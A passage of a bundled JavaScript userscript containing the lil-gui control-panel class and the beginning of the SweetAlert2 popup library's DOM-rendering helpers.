  1141. document.head.appendChild(injected);
  1142. }
  1143. }
  1144. let stylesInjected = false;
  1145. class GUI {
  1146. constructor({
  1147. parent,
  1148. autoPlace = parent === void 0,
  1149. container,
  1150. width,
  1151. title = "Controls",
  1152. injectStyles = true,
  1153. touchStyles = true
  1154. } = {}) {
  1155. this.parent = parent;
  1156. this.root = parent ? parent.root : this;
  1157. this.children = [];
  1158. this.controllers = [];
  1159. this.folders = [];
  1160. this._closed = false;
  1161. this._hidden = false;
  1162. this.domElement = document.createElement("div");
  1163. this.domElement.classList.add("lil-gui");
  1164. this.$title = document.createElement("div");
  1165. this.$title.classList.add("title");
  1166. this.$title.setAttribute("role", "button");
  1167. this.$title.setAttribute("aria-expanded", true);
  1168. this.$title.setAttribute("tabindex", 0);
  1169. this.$title.addEventListener("click", () => this.openAnimated(this._closed));
  1170. this.$title.addEventListener("keydown", (e) => {
  1171. if (e.code === "Enter" || e.code === "Space") {
  1172. e.preventDefault();
  1173. this.$title.click();
  1174. }
  1175. });
  1176. this.$title.addEventListener("touchstart", () => {
  1177. }, { passive: true });
  1178. this.$children = document.createElement("div");
  1179. this.$children.classList.add("children");
  1180. this.domElement.appendChild(this.$title);
  1181. this.domElement.appendChild(this.$children);
  1182. this.title(title);
  1183. if (touchStyles) {
  1184. this.domElement.classList.add("allow-touch-styles");
  1185. }
  1186. if (this.parent) {
  1187. this.parent.children.push(this);
  1188. this.parent.folders.push(this);
  1189. this.parent.$children.appendChild(this.domElement);
  1190. return;
  1191. }
  1192. this.domElement.classList.add("root");
  1193. if (!stylesInjected && injectStyles) {
  1194. _injectStyles(stylesheet);
  1195. stylesInjected = true;
  1196. }
  1197. if (container) {
  1198. container.appendChild(this.domElement);
  1199. } else if (autoPlace) {
  1200. this.domElement.classList.add("autoPlace");
  1201. document.body.appendChild(this.domElement);
  1202. }
  1203. if (width) {
  1204. this.domElement.style.setProperty("--width", width + "px");
  1205. }
  1206. this.domElement.addEventListener("keydown", (e) => e.stopPropagation());
  1207. this.domElement.addEventListener("keyup", (e) => e.stopPropagation());
  1208. }
  1209. add(object, property, $1, max, step) {
  1210. if (Object($1) === $1) {
  1211. return new OptionController(this, object, property, $1);
  1212. }
  1213. const initialValue = object[property];
  1214. switch (typeof initialValue) {
  1215. case "number":
  1216. return new NumberController(this, object, property, $1, max, step);
  1217. case "boolean":
  1218. return new BooleanController(this, object, property);
  1219. case "string":
  1220. return new StringController(this, object, property);
  1221. case "function":
  1222. return new FunctionController(this, object, property);
  1223. }
  1224. console.error(`gui.add failed
  1225. property:`, property, `
  1226. object:`, object, `
  1227. value:`, initialValue);
  1228. }
  1229. addColor(object, property, rgbScale = 1) {
  1230. return new ColorController(this, object, property, rgbScale);
  1231. }
  1232. addFolder(title) {
  1233. return new GUI({ parent: this, title });
  1234. }
  1235. load(obj, recursive = true) {
  1236. if (obj.controllers) {
  1237. this.controllers.forEach((c) => {
  1238. if (c instanceof FunctionController)
  1239. return;
  1240. if (c._name in obj.controllers) {
  1241. c.load(obj.controllers[c._name]);
  1242. }
  1243. });
  1244. }
  1245. if (recursive && obj.folders) {
  1246. this.folders.forEach((f) => {
  1247. if (f._title in obj.folders) {
  1248. f.load(obj.folders[f._title]);
  1249. }
  1250. });
  1251. }
  1252. return this;
  1253. }
  1254. save(recursive = true) {
  1255. const obj = {
  1256. controllers: {},
  1257. folders: {}
  1258. };
  1259. this.controllers.forEach((c) => {
  1260. if (c instanceof FunctionController)
  1261. return;
  1262. if (c._name in obj.controllers) {
  1263. throw new Error(`Cannot save GUI with duplicate property "${c._name}"`);
  1264. }
  1265. obj.controllers[c._name] = c.save();
  1266. });
  1267. if (recursive) {
  1268. this.folders.forEach((f) => {
  1269. if (f._title in obj.folders) {
  1270. throw new Error(`Cannot save GUI with duplicate folder "${f._title}"`);
  1271. }
  1272. obj.folders[f._title] = f.save();
  1273. });
  1274. }
  1275. return obj;
  1276. }
  1277. open(open2 = true) {
  1278. this._closed = !open2;
  1279. this.$title.setAttribute("aria-expanded", !this._closed);
  1280. this.domElement.classList.toggle("closed", this._closed);
  1281. return this;
  1282. }
  1283. close() {
  1284. return this.open(false);
  1285. }
  1286. show(show = true) {
  1287. this._hidden = !show;
  1288. this.domElement.style.display = this._hidden ? "none" : "";
  1289. return this;
  1290. }
  1291. hide() {
  1292. return this.show(false);
  1293. }
  1294. openAnimated(open2 = true) {
  1295. this._closed = !open2;
  1296. this.$title.setAttribute("aria-expanded", !this._closed);
  1297. requestAnimationFrame(() => {
  1298. const initialHeight = this.$children.clientHeight;
  1299. this.$children.style.height = initialHeight + "px";
  1300. this.domElement.classList.add("transition");
  1301. const onTransitionEnd = (e) => {
  1302. if (e.target !== this.$children)
  1303. return;
  1304. this.$children.style.height = "";
  1305. this.domElement.classList.remove("transition");
  1306. this.$children.removeEventListener("transitionend", onTransitionEnd);
  1307. };
  1308. this.$children.addEventListener("transitionend", onTransitionEnd);
  1309. const targetHeight = !open2 ? 0 : this.$children.scrollHeight;
  1310. this.domElement.classList.toggle("closed", !open2);
  1311. requestAnimationFrame(() => {
  1312. this.$children.style.height = targetHeight + "px";
  1313. });
  1314. });
  1315. return this;
  1316. }
  1317. title(title) {
  1318. this._title = title;
  1319. this.$title.innerHTML = title;
  1320. return this;
  1321. }
  1322. reset(recursive = true) {
  1323. const controllers = recursive ? this.controllersRecursive() : this.controllers;
  1324. controllers.forEach((c) => c.reset());
  1325. return this;
  1326. }
  1327. onChange(callback) {
  1328. this._onChange = callback;
  1329. return this;
  1330. }
  1331. _callOnChange(controller) {
  1332. if (this.parent) {
  1333. this.parent._callOnChange(controller);
  1334. }
  1335. if (this._onChange !== void 0) {
  1336. this._onChange.call(this, {
  1337. object: controller.object,
  1338. property: controller.property,
  1339. value: controller.getValue(),
  1340. controller
  1341. });
  1342. }
  1343. }
  1344. onFinishChange(callback) {
  1345. this._onFinishChange = callback;
  1346. return this;
  1347. }
  1348. _callOnFinishChange(controller) {
  1349. if (this.parent) {
  1350. this.parent._callOnFinishChange(controller);
  1351. }
  1352. if (this._onFinishChange !== void 0) {
  1353. this._onFinishChange.call(this, {
  1354. object: controller.object,
  1355. property: controller.property,
  1356. value: controller.getValue(),
  1357. controller
  1358. });
  1359. }
  1360. }
  1361. destroy() {
  1362. if (this.parent) {
  1363. this.parent.children.splice(this.parent.children.indexOf(this), 1);
  1364. this.parent.folders.splice(this.parent.folders.indexOf(this), 1);
  1365. }
  1366. if (this.domElement.parentElement) {
  1367. this.domElement.parentElement.removeChild(this.domElement);
  1368. }
  1369. Array.from(this.children).forEach((c) => c.destroy());
  1370. }
  1371. controllersRecursive() {
  1372. let controllers = Array.from(this.controllers);
  1373. this.folders.forEach((f) => {
  1374. controllers = controllers.concat(f.controllersRecursive());
  1375. });
  1376. return controllers;
  1377. }
  1378. foldersRecursive() {
  1379. let folders = Array.from(this.folders);
  1380. this.folders.forEach((f) => {
  1381. folders = folders.concat(f.foldersRecursive());
  1382. });
  1383. return folders;
  1384. }
  1385. }
  1386. const guiOverride = "";
  1387. var monkeyWindow = window;
  1388. var unsafeWindow = /* @__PURE__ */ (() => {
  1389. return monkeyWindow.unsafeWindow;
  1390. })();
  1391. var GM_setValue = /* @__PURE__ */ (() => monkeyWindow.GM_setValue)();
  1392. var GM_getValue = /* @__PURE__ */ (() => monkeyWindow.GM_getValue)();
  1393. var commonjsGlobal = typeof globalThis !== "undefined" ? globalThis : typeof window !== "undefined" ? window : typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : {};
  1394. var sweetalert2_all = { exports: {} };
  1395. (function(module, exports) {
  1396. (function(global2, factory) {
  1397. module.exports = factory();
  1398. })(commonjsGlobal, function() {
  1399. var privateProps = {
  1400. awaitingPromise: /* @__PURE__ */ new WeakMap(),
  1401. promise: /* @__PURE__ */ new WeakMap(),
  1402. innerParams: /* @__PURE__ */ new WeakMap(),
  1403. domCache: /* @__PURE__ */ new WeakMap()
  1404. };
  1405. const swalPrefix = "swal2-";
  1406. const prefix = (items) => {
  1407. const result = {};
  1408. for (const i in items) {
  1409. result[items[i]] = swalPrefix + items[i];
  1410. }
  1411. return result;
  1412. };
  1413. const swalClasses = prefix(["container", "shown", "height-auto", "iosfix", "popup", "modal", "no-backdrop", "no-transition", "toast", "toast-shown", "show", "hide", "close", "title", "html-container", "actions", "confirm", "deny", "cancel", "default-outline", "footer", "icon", "icon-content", "image", "input", "file", "range", "select", "radio", "checkbox", "label", "textarea", "inputerror", "input-label", "validation-message", "progress-steps", "active-progress-step", "progress-step", "progress-step-line", "loader", "loading", "styled", "top", "top-start", "top-end", "top-left", "top-right", "center", "center-start", "center-end", "center-left", "center-right", "bottom", "bottom-start", "bottom-end", "bottom-left", "bottom-right", "grow-row", "grow-column", "grow-fullscreen", "rtl", "timer-progress-bar", "timer-progress-bar-container", "scrollbar-measure", "icon-success", "icon-warning", "icon-info", "icon-question", "icon-error"]);
  1414. const iconTypes = prefix(["success", "warning", "info", "question", "error"]);
  1415. const consolePrefix = "SweetAlert2:";
  1416. const uniqueArray = (arr) => {
  1417. const result = [];
  1418. for (let i = 0; i < arr.length; i++) {
  1419. if (result.indexOf(arr[i]) === -1) {
  1420. result.push(arr[i]);
  1421. }
  1422. }
  1423. return result;
  1424. };
  1425. const capitalizeFirstLetter = (str) => str.charAt(0).toUpperCase() + str.slice(1);
  1426. const warn = (message) => {
  1427. console.warn(`${consolePrefix} ${typeof message === "object" ? message.join(" ") : message}`);
  1428. };
  1429. const error = (message) => {
  1430. console.error(`${consolePrefix} ${message}`);
  1431. };
  1432. const previousWarnOnceMessages = [];
  1433. const warnOnce = (message) => {
  1434. if (!previousWarnOnceMessages.includes(message)) {
  1435. previousWarnOnceMessages.push(message);
  1436. warn(message);
  1437. }
  1438. };
  1439. const warnAboutDeprecation = (deprecatedParam, useInstead) => {
  1440. warnOnce(`"${deprecatedParam}" is deprecated and will be removed in the next major release. Please use "${useInstead}" instead.`);
  1441. };
  1442. const callIfFunction = (arg) => typeof arg === "function" ? arg() : arg;
  1443. const hasToPromiseFn = (arg) => arg && typeof arg.toPromise === "function";
  1444. const asPromise = (arg) => hasToPromiseFn(arg) ? arg.toPromise() : Promise.resolve(arg);
  1445. const isPromise = (arg) => arg && Promise.resolve(arg) === arg;
  1446. const getContainer = () => document.body.querySelector(`.${swalClasses.container}`);
  1447. const elementBySelector = (selectorString) => {
  1448. const container = getContainer();
  1449. return container ? container.querySelector(selectorString) : null;
  1450. };
  1451. const elementByClass = (className) => {
  1452. return elementBySelector(`.${className}`);
  1453. };
  1454. const getPopup = () => elementByClass(swalClasses.popup);
  1455. const getIcon = () => elementByClass(swalClasses.icon);
  1456. const getIconContent = () => elementByClass(swalClasses["icon-content"]);
  1457. const getTitle = () => elementByClass(swalClasses.title);
  1458. const getHtmlContainer = () => elementByClass(swalClasses["html-container"]);
  1459. const getImage = () => elementByClass(swalClasses.image);
  1460. const getProgressSteps = () => elementByClass(swalClasses["progress-steps"]);
  1461. const getValidationMessage = () => elementByClass(swalClasses["validation-message"]);
  1462. const getConfirmButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.confirm}`);
  1463. const getDenyButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.deny}`);
  1464. const getInputLabel = () => elementByClass(swalClasses["input-label"]);
  1465. const getLoader = () => elementBySelector(`.${swalClasses.loader}`);
  1466. const getCancelButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.cancel}`);
  1467. const getActions = () => elementByClass(swalClasses.actions);
  1468. const getFooter = () => elementByClass(swalClasses.footer);
  1469. const getTimerProgressBar = () => elementByClass(swalClasses["timer-progress-bar"]);
  1470. const getCloseButton = () => elementByClass(swalClasses.close);
  1471. const focusable = `
  1472. a[href],
  1473. area[href],
  1474. input:not([disabled]),
  1475. select:not([disabled]),
  1476. textarea:not([disabled]),
  1477. button:not([disabled]),
  1478. iframe,
  1479. object,
  1480. embed,
  1481. [tabindex="0"],
  1482. [contenteditable],
  1483. audio[controls],
  1484. video[controls],
  1485. summary
  1486. `;
  1487. const getFocusableElements = () => {
  1488. const focusableElementsWithTabindex = Array.from(getPopup().querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])')).sort((a, b) => {
  1489. const tabindexA = parseInt(a.getAttribute("tabindex"));
  1490. const tabindexB = parseInt(b.getAttribute("tabindex"));
  1491. if (tabindexA > tabindexB) {
  1492. return 1;
  1493. } else if (tabindexA < tabindexB) {
  1494. return -1;
  1495. }
  1496. return 0;
  1497. });
  1498. const otherFocusableElements = Array.from(getPopup().querySelectorAll(focusable)).filter((el) => el.getAttribute("tabindex") !== "-1");
  1499. return uniqueArray(focusableElementsWithTabindex.concat(otherFocusableElements)).filter((el) => isVisible$1(el));
  1500. };
  1501. const isModal = () => {
  1502. return hasClass(document.body, swalClasses.shown) && !hasClass(document.body, swalClasses["toast-shown"]) && !hasClass(document.body, swalClasses["no-backdrop"]);
  1503. };
  1504. const isToast = () => {
  1505. return getPopup() && hasClass(getPopup(), swalClasses.toast);
  1506. };
  1507. const isLoading = () => {
  1508. return getPopup().hasAttribute("data-loading");
  1509. };
  1510. const states = {
  1511. previousBodyPadding: null
  1512. };
  1513. const setInnerHtml = (elem, html) => {
  1514. elem.textContent = "";
  1515. if (html) {
  1516. const parser = new DOMParser();
  1517. const parsed = parser.parseFromString(html, `text/html`);
  1518. Array.from(parsed.querySelector("head").childNodes).forEach((child) => {
  1519. elem.appendChild(child);
  1520. });
  1521. Array.from(parsed.querySelector("body").childNodes).forEach((child) => {
  1522. if (child instanceof HTMLVideoElement || child instanceof HTMLAudioElement) {
  1523. elem.appendChild(child.cloneNode(true));
  1524. } else {
  1525. elem.appendChild(child);
  1526. }
  1527. });
  1528. }
  1529. };
  1530. const hasClass = (elem, className) => {
  1531. if (!className) {
  1532. return false;
  1533. }
  1534. const classList = className.split(/\s+/);
  1535. for (let i = 0; i < classList.length; i++) {
  1536. if (!elem.classList.contains(classList[i])) {
  1537. return false;
  1538. }
  1539. }
  1540. return true;
  1541. };
  1542. const removeCustomClasses = (elem, params) => {
  1543. Array.from(elem.classList).forEach((className) => {
  1544. if (!Object.values(swalClasses).includes(className) && !Object.values(iconTypes).includes(className) && !Object.values(params.showClass).includes(className)) {
  1545. elem.classList.remove(className);
  1546. }
  1547. });
  1548. };
  1549. const applyCustomClass = (elem, params, className) => {
  1550. removeCustomClasses(elem, params);
  1551. if (params.customClass && params.customClass[className]) {
  1552. if (typeof params.customClass[className] !== "string" && !params.customClass[className].forEach) {
  1553. warn(`Invalid type of customClass.${className}! Expected string or iterable object, got "${typeof params.customClass[className]}"`);
  1554. return;
  1555. }
  1556. addClass(elem, params.customClass[className]);
  1557. }
  1558. };
  1559. const getInput$1 = (popup, inputClass) => {
  1560. if (!inputClass) {
  1561. return null;
  1562. }
  1563. switch (inputClass) {
  1564. case "select":
  1565. case "textarea":
  1566. case "file":
  1567. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses[inputClass]}`);
  1568. case "checkbox":
  1569. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.checkbox} input`);
  1570. case "radio":
  1571. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:checked`) || popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:first-child`);
  1572. case "range":
  1573. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.range} input`);
  1574. default:
  1575. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.input}`);
  1576. }
  1577. };
  1578. const focusInput = (input) => {
  1579. input.focus();
  1580. if (input.type !== "file") {
  1581. const val = input.value;
  1582. input.value = "";
  1583. input.value = val;
  1584. }
  1585. };
  1586. const toggleClass = (target, classList, condition) => {
  1587. if (!target || !classList) {
  1588. return;
  1589. }
  1590. if (typeof classList === "string") {
  1591. classList = classList.split(/\s+/).filter(Boolean);
  1592. }
  1593. classList.forEach((className) => {
  1594. if (Array.isArray(target)) {
  1595. target.forEach((elem) => {
  1596. condition ? elem.classList.add(className) : elem.classList.remove(className);
  1597. });
  1598. } else {
  1599. condition ? target.classList.add(className) : target.classList.remove(className);
  1600. }
  1601. });
  1602. };
  1603. const addClass = (target, classList) => {
  1604. toggleClass(target, classList, true);
  1605. };
  1606. const removeClass = (target, classList) => {
  1607. toggleClass(target, classList, false);
  1608. };
  1609. const getDirectChildByClass = (elem, className) => {
  1610. const children = Array.from(elem.children);
  1611. for (let i = 0; i < children.length; i++) {
  1612. const child = children[i];
  1613. if (child instanceof HTMLElement && hasClass(child, className)) {
  1614. return child;
  1615. }
  1616. }
  1617. };
  1618. const applyNumericalStyle = (elem, property, value) => {
  1619. if (value === `${parseInt(value)}`) {
  1620. value = parseInt(value);
  1621. }
  1622. if (value || parseInt(value) === 0) {
  1623. elem.style[property] = typeof value === "number" ? `${value}px` : value;
  1624. } else {
  1625. elem.style.removeProperty(property);
  1626. }
  1627. };
  1628. const show = function(elem) {
  1629. let display = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : "flex";
  1630. elem.style.display = display;
  1631. };
  1632. const hide = (elem) => {
  1633. elem.style.display = "none";
  1634. };
  1635. const setStyle = (parent, selector, property, value) => {
  1636. const el = parent.querySelector(selector);
  1637. if (el) {
  1638. el.style[property] = value;
  1639. }
  1640. };
  1641. const toggle = function(elem, condition) {
  1642. let display = arguments.length > 2 && arguments[2] !== void 0 ? arguments[2] : "flex";
  1643. condition ? show(elem, display) : hide(elem);
  1644. };
  1645. const isVisible$1 = (elem) => !!(elem && (elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length));
  1646. const allButtonsAreHidden = () => !isVisible$1(getConfirmButton()) && !isVisible$1(getDenyButton()) && !isVisible$1(getCancelButton());
  1647. const isScrollable = (elem) => !!(elem.scrollHeight > elem.clientHeight);
  1648. const hasCssAnimation = (elem) => {
  1649. const style2 = window.getComputedStyle(elem);
  1650. const animDuration = parseFloat(style2.getPropertyValue("animation-duration") || "0");
  1651. const transDuration = parseFloat(style2.getPropertyValue("transition-duration") || "0");
  1652. return animDuration > 0 || transDuration > 0;
  1653. };
  1654. const animateTimerProgressBar = function(timer) {
  1655. let reset = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : false;
  1656. const timerProgressBar = getTimerProgressBar();
  1657. if (isVisible$1(timerProgressBar)) {
  1658. if (reset) {
  1659. timerProgressBar.style.transition = "none";
  1660. timerProgressBar.style.width = "100%";
  1661. }
  1662. setTimeout(() => {
  1663. timerProgressBar.style.transition = `width ${timer / 1e3}s linear`;
  1664. timerProgressBar.style.width = "0%";
  1665. }, 10);
  1666. }
  1667. };
  1668. const stopTimerProgressBar = () => {
  1669. const timerProgressBar = getTimerProgressBar();
  1670. const timerProgressBarWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  1671. timerProgressBar.style.removeProperty("transition");
  1672. timerProgressBar.style.width = "100%";
  1673. const timerProgressBarFullWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  1674. const timerProgressBarPercent = timerProgressBarWidth / timerProgressBarFullWidth * 100;
  1675. timerProgressBar.style.removeProperty("transition");
  1676. timerProgressBar.style.width = `${timerProgressBarPercent}%`;
  1677. };
  1678. const RESTORE_FOCUS_TIMEOUT = 100;
  1679. const globalState = {};
  1680. const focusPreviousActiveElement = () => {
  1681. if (globalState.previousActiveElement instanceof HTMLElement) {
  1682. globalState.previousActiveElement.focus();
  1683. globalState.previousActiveElement = null;
  1684. } else if (document.body) {
  1685. document.body.focus();
  1686. }
  1687. };
  1688. const restoreActiveElement = (returnFocus) => {
  1689. return new Promise((resolve) => {
  1690. if (!returnFocus) {
  1691. return resolve();
  1692. }
  1693. const x = window.scrollX;
  1694. const y = window.scrollY;
  1695. globalState.restoreFocusTimeout = setTimeout(() => {
  1696. focusPreviousActiveElement();
  1697. resolve();
  1698. }, RESTORE_FOCUS_TIMEOUT);
  1699. window.scrollTo(x, y);
  1700. });
  1701. };
  1702. const isNodeEnv = () => typeof window === "undefined" || typeof document === "undefined";
  1703. const sweetHTML = `
  1704. <div aria-labelledby="${swalClasses.title}" aria-describedby="${swalClasses["html-container"]}" class="${swalClasses.popup}" tabindex="-1">
  1705. <button type="button" class="${swalClasses.close}"></button>
  1706. <ul class="${swalClasses["progress-steps"]}"></ul>
  1707. <div class="${swalClasses.icon}"></div>
  1708. <img class="${swalClasses.image}" />
  1709. <h2 class="${swalClasses.title}" id="${swalClasses.title}"></h2>
  1710. <div class="${swalClasses["html-container"]}" id="${swalClasses["html-container"]}"></div>
  1711. <input class="${swalClasses.input}" />
  1712. <input type="file" class="${swalClasses.file}" />
  1713. <div class="${swalClasses.range}">
  1714. <input type="range" />
  1715. <output></output>
  1716. </div>
  1717. <select class="${swalClasses.select}"></select>
  1718. <div class="${swalClasses.radio}"></div>
  1719. <label for="${swalClasses.checkbox}" class="${swalClasses.checkbox}">
  1720. <input type="checkbox" />
  1721. <span class="${swalClasses.label}"></span>
  1722. </label>
  1723. <textarea class="${swalClasses.textarea}"></textarea>
  1724. <div class="${swalClasses["validation-message"]}" id="${swalClasses["validation-message"]}"></div>
  1725. <div class="${swalClasses.actions}">
  1726. <div class="${swalClasses.loader}"></div>
  1727. <button type="button" class="${swalClasses.confirm}"></button>
  1728. <button type="button" class="${swalClasses.deny}"></button>
  1729. <button type="button" class="${swalClasses.cancel}"></button>
  1730. </div>
  1731. <div class="${swalClasses.footer}"></div>
  1732. <div class="${swalClasses["timer-progress-bar-container"]}">
  1733. <div class="${swalClasses["timer-progress-bar"]}"></div>
  1734. </div>
  1735. </div>
  1736. `.replace(/(^|\n)\s*/g, "");
  1737. const resetOldContainer = () => {
  1738. const oldContainer = getContainer();
  1739. if (!oldContainer) {
  1740. return false;
  1741. }
  1742. oldContainer.remove();
  1743. removeClass([document.documentElement, document.body], [swalClasses["no-backdrop"], swalClasses["toast-shown"], swalClasses["has-column"]]);
  1744. return true;
  1745. };
  1746. const resetValidationMessage$1 = () => {
  1747. globalState.currentInstance.resetValidationMessage();
  1748. };
  1749. const addInputChangeListeners = () => {
  1750. const popup = getPopup();
  1751. const input = getDirectChildByClass(popup, swalClasses.input);
  1752. const file = getDirectChildByClass(popup, swalClasses.file);
  1753. const range = popup.querySelector(`.${swalClasses.range} input`);
  1754. const rangeOutput = popup.querySelector(`.${swalClasses.range} output`);
  1755. const select = getDirectChildByClass(popup, swalClasses.select);
  1756. const checkbox = popup.querySelector(`.${swalClasses.checkbox} input`);
  1757. const textarea = getDirectChildByClass(popup, swalClasses.textarea);
  1758. input.oninput = resetValidationMessage$1;
  1759. file.onchange = resetValidationMessage$1;
  1760. select.onchange = resetValidationMessage$1;
  1761. checkbox.onchange = resetValidationMessage$1;
  1762. textarea.oninput = resetValidationMessage$1;
  1763. range.oninput = () => {
  1764. resetValidationMessage$1();
  1765. rangeOutput.value = range.value;
  1766. };
  1767. range.onchange = () => {
  1768. resetValidationMessage$1();
  1769. rangeOutput.value = range.value;
  1770. };
  1771. };
  1772. const getTarget = (target) => typeof target === "string" ? document.querySelector(target) : target;
  1773. const setupAccessibility = (params) => {
  1774. const popup = getPopup();
  1775. popup.setAttribute("role", params.toast ? "alert" : "dialog");
  1776. popup.setAttribute("aria-live", params.toast ? "polite" : "assertive");
  1777. if (!params.toast) {
  1778. popup.setAttribute("aria-modal", "true");
  1779. }
  1780. };
  1781. const setupRTL = (targetElement) => {
  1782. if (window.getComputedStyle(targetElement).direction === "rtl") {
  1783. addClass(getContainer(), swalClasses.rtl);
  1784. }
  1785. };
  1786. const init = (params) => {
  1787. const oldContainerExisted = resetOldContainer();
  1788. if (isNodeEnv()) {
  1789. error("SweetAlert2 requires document to initialize");
  1790. return;
  1791. }
  1792. const container = document.createElement("div");
  1793. container.className = swalClasses.container;
  1794. if (oldContainerExisted) {
  1795. addClass(container, swalClasses["no-transition"]);
  1796. }
  1797. setInnerHtml(container, sweetHTML);
  1798. const targetElement = getTarget(params.target);
  1799. targetElement.appendChild(container);
  1800. setupAccessibility(params);
  1801. setupRTL(targetElement);
  1802. addInputChangeListeners();
  1803. };
  1804. const parseHtmlToContainer = (param, target) => {
  1805. if (param instanceof HTMLElement) {
  1806. target.appendChild(param);
  1807. } else if (typeof param === "object") {
  1808. handleObject(param, target);
  1809. } else if (param) {
  1810. setInnerHtml(target, param);
  1811. }
  1812. };
  1813. const handleObject = (param, target) => {
  1814. if (param.jquery) {
  1815. handleJqueryElem(target, param);
  1816. } else {
  1817. setInnerHtml(target, param.toString());
  1818. }
  1819. };
  1820. const handleJqueryElem = (target, elem) => {
  1821. target.textContent = "";
  1822. if (0 in elem) {
  1823. for (let i = 0; i in elem; i++) {
  1824. target.appendChild(elem[i].cloneNode(true));
  1825. }
  1826. } else {
  1827. target.appendChild(elem.cloneNode(true));
  1828. }
  1829. };
  1830. const animationEndEvent = (() => {
  1831. if (isNodeEnv()) {
  1832. return false;
  1833. }
  1834. const testEl = document.createElement("div");
  1835. const transEndEventNames = {
  1836. WebkitAnimation: "webkitAnimationEnd",
  1837. animation: "animationend"
  1838. };
  1839. for (const i in transEndEventNames) {
  1840. if (Object.prototype.hasOwnProperty.call(transEndEventNames, i) && typeof testEl.style[i] !== "undefined") {
  1841. return transEndEventNames[i];
  1842. }
  1843. }
  1844. return false;
  1845. })();
  1846. const measureScrollbar = () => {
  1847. const scrollDiv = document.createElement("div");
  1848. scrollDiv.className = swalClasses["scrollbar-measure"];
  1849. document.body.appendChild(scrollDiv);
  1850. const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;
  1851. document.body.removeChild(scrollDiv);
  1852. return scrollbarWidth;
  1853. };
  1854. const renderActions = (instance, params) => {
  1855. const actions = getActions();
  1856. const loader = getLoader();
  1857. if (!params.showConfirmButton && !params.showDenyButton && !params.showCancelButton) {
  1858. hide(actions);
  1859. } else {
  1860. show(actions);
  1861. }
  1862. applyCustomClass(actions, params, "actions");
  1863. renderButtons(actions, loader, params);
  1864. setInnerHtml(loader, params.loaderHtml);
  1865. applyCustomClass(loader, params, "loader");
  1866. };
  1867. function renderButtons(actions, loader, params) {
  1868. const confirmButton = getConfirmButton();
  1869. const denyButton = getDenyButton();
  1870. const cancelButton = getCancelButton();
  1871. renderButton(confirmButton, "confirm", params);
  1872. renderButton(denyButton, "deny", params);
  1873. renderButton(cancelButton, "cancel", params);
  1874. handleButtonsStyling(confirmButton, denyButton, cancelButton, params);
  1875. if (params.reverseButtons) {
  1876. if (params.toast) {
  1877. actions.insertBefore(cancelButton, confirmButton);
  1878. actions.insertBefore(denyButton, confirmButton);
  1879. } else {
  1880. actions.insertBefore(cancelButton, loader);
  1881. actions.insertBefore(denyButton, loader);
  1882. actions.insertBefore(confirmButton, loader);
  1883. }
  1884. }
  1885. }
  1886. function handleButtonsStyling(confirmButton, denyButton, cancelButton, params) {
  1887. if (!params.buttonsStyling) {
  1888. removeClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  1889. return;
  1890. }
  1891. addClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  1892. if (params.confirmButtonColor) {
  1893. confirmButton.style.backgroundColor = params.confirmButtonColor;
  1894. addClass(confirmButton, swalClasses["default-outline"]);
  1895. }
  1896. if (params.denyButtonColor) {
  1897. denyButton.style.backgroundColor = params.denyButtonColor;
  1898. addClass(denyButton, swalClasses["default-outline"]);
  1899. }
  1900. if (params.cancelButtonColor) {
  1901. cancelButton.style.backgroundColor = params.cancelButtonColor;
  1902. addClass(cancelButton, swalClasses["default-outline"]);
  1903. }
  1904. }
  1905. function renderButton(button, buttonType, params) {
  1906. toggle(button, params[`show${capitalizeFirstLetter(buttonType)}Button`], "inline-block");
  1907. setInnerHtml(button, params[`${buttonType}ButtonText`]);
  1908. button.setAttribute("aria-label", params[`${buttonType}ButtonAriaLabel`]);
  1909. button.className = swalClasses[buttonType];
  1910. applyCustomClass(button, params, `${buttonType}Button`);
  1911. addClass(button, params[`${buttonType}ButtonClass`]);
  1912. }
  1913. const renderCloseButton = (instance, params) => {
  1914. const closeButton = getCloseButton();
  1915. setInnerHtml(closeButton, params.closeButtonHtml);
  1916. applyCustomClass(closeButton, params, "closeButton");
  1917. toggle(closeButton, params.showCloseButton);
  1918. closeButton.setAttribute("aria-label", params.closeButtonAriaLabel);
  1919. };
  1920. const renderContainer = (instance, params) => {
  1921. const container = getContainer();
  1922. if (!container) {
  1923. return;
  1924. }
  1925. handleBackdropParam(container, params.backdrop);
  1926. handlePositionParam(container, params.position);
  1927. handleGrowParam(container, params.grow);
  1928. applyCustomClass(container, params, "container");
  1929. };
  1930. function handleBackdropParam(container, backdrop) {
  1931. if (typeof backdrop === "string") {
  1932. container.style.background = backdrop;
  1933. } else if (!backdrop) {
  1934. addClass([document.documentElement, document.body], swalClasses["no-backdrop"]);
  1935. }
  1936. }
  1937. function handlePositionParam(container, position) {
  1938. if (position in swalClasses) {
  1939. addClass(container, swalClasses[position]);
  1940. } else {
  1941. warn('The "position" parameter is not valid, defaulting to "center"');
  1942. addClass(container, swalClasses.center);
  1943. }
  1944. }
  1945. function handleGrowParam(container, grow) {
  1946. if (grow && typeof grow === "string") {
  1947. const growClass = `grow-${grow}`;
  1948. if (growClass in swalClasses) {
  1949. addClass(container, swalClasses[growClass]);
  1950. }
  1951. }
  1952. }
  1953. const inputClasses = ["input", "file", "range", "select", "radio", "checkbox", "textarea"];
  1954. const renderInput = (instance, params) => {
  1955. const popup = getPopup();
  1956. const innerParams = privateProps.innerParams.get(instance);
  1957. const rerender = !innerParams || params.input !== innerParams.input;
  1958. inputClasses.forEach((inputClass) => {
  1959. const inputContainer = getDirectChildByClass(popup, swalClasses[inputClass]);
  1960. setAttributes(inputClass, params.inputAttributes);
